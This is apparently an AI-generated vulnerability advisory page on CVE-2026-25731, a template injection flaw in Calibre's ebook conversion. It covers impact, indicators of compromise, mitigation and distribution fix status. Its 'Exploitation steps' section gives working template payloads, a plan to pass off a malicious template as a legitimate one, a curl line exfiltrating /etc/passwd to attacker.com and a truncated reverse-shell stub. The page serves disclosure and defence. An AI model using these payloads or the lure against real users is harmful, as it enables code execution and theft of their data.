CVE-2026-25731
NixOS vulnerability analysis and mitigation

Overview

CVE-2026-25731 is a Server-Side Template Injection (SSTI) vulnerability in Calibre's Templite templating engine that allows arbitrary code execution during ebook conversion. It affects all versions of Calibre prior to 9.2.0 and is triggered when a user converts an ebook using a malicious custom template file supplied via the --template-html or --template-html-index command-line options. The vulnerability was published on February 6, 2026, and patched in version 9.2.0 released shortly after. It carries a CVSS v3.1 base score of 7.8 (High) (GitHub Advisory, Feedly).

Technical details

The root cause is classified as CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine). The Templite engine in src/templite/__init__.py compiles user-supplied template content using Python's compile() function and evaluates it via eval() without any sandboxing or input validation. In src/calibre/ebooks/conversion/plugins/html_output.py, user-supplied template files passed via --template-html or --template-html-index are read directly from disk and fed into this vulnerable engine, allowing embedded Python expressions such as ${emit(__import__("os").popen("id").read())}$ to execute arbitrary OS commands. The fix in version 9.2.0 replaces the Templite engine with the Mustache templating library (pystache), which does not support arbitrary code evaluation (GitHub Advisory, Patch Commit).

Impact

Successful exploitation results in arbitrary code execution with the privileges of the user running Calibre, yielding high impact to confidentiality, integrity, and availability. An attacker can read sensitive files (e.g., /etc/passwd), exfiltrate data, establish reverse shells, or modify system state. While the attack vector is local and requires user interaction (the victim must run a conversion with a malicious template), the attack complexity is low and no privileges are required, making social engineering a viable delivery mechanism — for example, distributing a malicious template via forums, GitHub, or community sites (GitHub Advisory).

Exploitability

A public proof-of-concept (PoC) exploit is available on GitHub at https://github.com/dxlerYT/CVE-2026-25731, added on March 2, 2026. The official GitHub Security Advisory also includes detailed PoC payloads demonstrating command execution, file exfiltration, and reverse shell establishment. As of the available data, there is no confirmed evidence of in-the-wild exploitation, no threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.008% (0.000080), indicating a currently low probability of exploitation in the wild (Feedly, GitHub Advisory, PoC).

Exploitation steps

  1. Craft a malicious template file: Create a file (e.g., malicious_template.tmpl) containing an SSTI payload using Calibre's Templite syntax, such as:
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
  1. Distribute the template: Share the template file via Calibre community forums, Reddit, GitHub, or other channels, disguised as a legitimate HTML export template.
  2. Trigger victim execution: The victim downloads the template and runs an ebook conversion command:
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl
  1. Achieve code execution: Calibre's html_output.py reads the template file and passes it to the Templite engine, which compiles and evaluates the embedded Python expression via eval(), executing the attacker's payload with the victim's OS privileges.
  2. Post-exploitation: Use alternative payloads for further impact, such as exfiltrating data (curl -d @/etc/passwd attacker.com) or establishing a reverse shell (python3 -c 'import socket,subprocess;...') (GitHub Advisory, PoC).

Indicators of compromise

  • Process: Unexpected child processes spawned by the ebook-convert or Calibre process, such as /bin/sh, curl, wget, python3, or bash.
  • File System: Unexpected files created in /tmp/ (e.g., /tmp/pwned.txt) or other writable directories following an ebook conversion operation; presence of unfamiliar .tmpl or .mustache template files in user directories.
  • Network: Outbound HTTP/HTTPS connections from the Calibre process to unknown external hosts immediately following an ebook conversion; DNS lookups for attacker-controlled domains initiated by the Calibre process.
  • Logs: Shell history or audit logs showing ebook-convert invocations with --template-html or --template-html-index flags pointing to external or recently downloaded template files (GitHub Advisory).

Mitigation and workarounds

Upgrade Calibre to version 9.2.0 or later, which replaces the vulnerable Templite engine with the Mustache templating library (pystache), eliminating the arbitrary code evaluation path. The fix was committed on February 17, 2026. As a workaround prior to patching, avoid using custom template files from untrusted sources with the --template-html or --template-html-index options, and restrict command-line access to these flags in automated pipeline environments. Users in organizational settings should audit any existing custom templates for malicious payloads (Patch Commit, GitHub Advisory, Feedly).

Community reactions

The vulnerability was credited to researcher dxlerYT, who also published a public PoC repository on GitHub. Brief mentions appeared on Mastodon via @thehackerwire shortly after disclosure. Red Hat tracked the CVE in their security advisory database. No major vendor statements beyond the official Calibre advisory or significant media coverage have been identified (GitHub Advisory, Red Hat).

Additional resources

Linux Distribution fix status

Fix availability across major Linux distributions and their releases.

Debian

Fixed

bookworm

calibre: 6.13.0+repack-2+deb12u6

Fixed

sid

calibre: 9.2.0+ds+~0.10.5-1

Fixed

trixie

calibre: 8.5.0+ds-1+deb13u2

Fixed

Ubuntu

Unknown

bionic (esm-apps)

calibre

Unknown

devel

calibre

Unknown

focal (esm-apps)

calibre

Unknown

jammy

calibre

Unknown

jammy (esm-apps)

calibre

Unknown

noble

calibre

Unknown

noble (esm-apps)

calibre

Unknown

resolute

calibre

Unknown

SourceThis report was generated using AI

Related NixOS vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-78662HIGH7.5
  • Docker logoDocker
  • headlamp-fips
NoYesSep 02, 2026
CVE-2026-56855HIGH7.5
  • Docker logoDocker
  • argo-workflows-3.7
NoYesSep 02, 2026
CVE-2026-84642HIGH7.5
  • NixOS logoNixOS
  • cpe:2.3:a:mozilla:thunderbird
NoYesSep 01, 2026
CVE-2026-84641HIGH7.5
  • NixOS logoNixOS
  • cpe:2.3:a:mozilla:thunderbird
NoYesSep 01, 2026
CVE-2026-32773MEDIUM6.1
  • NixOS logoNixOS
  • spark
NoYesSep 02, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management